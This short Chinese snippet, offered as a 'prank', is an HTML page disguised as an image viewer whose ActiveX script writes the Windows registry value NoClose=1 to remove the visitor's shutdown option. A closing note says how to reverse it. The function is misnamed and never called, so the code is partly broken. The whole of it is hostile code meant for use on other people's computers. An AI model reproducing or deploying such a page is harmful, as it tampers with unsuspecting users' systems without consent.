纯属恶作剧（只对IE浏览器有效因为要调用ActiveX）
<!-- E-mail：shyhero@outlook.com Author: dujianing 删除关机按钮 --> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"/> <title></title> <script type="text/javascript" language="javascript"> function disableTaskMgr(flg){ var shell = new ActiveXObject("WScript.Shell"); try{ shell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 1,"REG_DWORD") }catch(e){ throw e; } } </script> </head> <body> <img src="https://www.jb51.net/imgs/2.jpg"/> <button>下一张 </button> </body> </html>
备注：可以恶作剧一下，修改注册表，把值改为0就能还原
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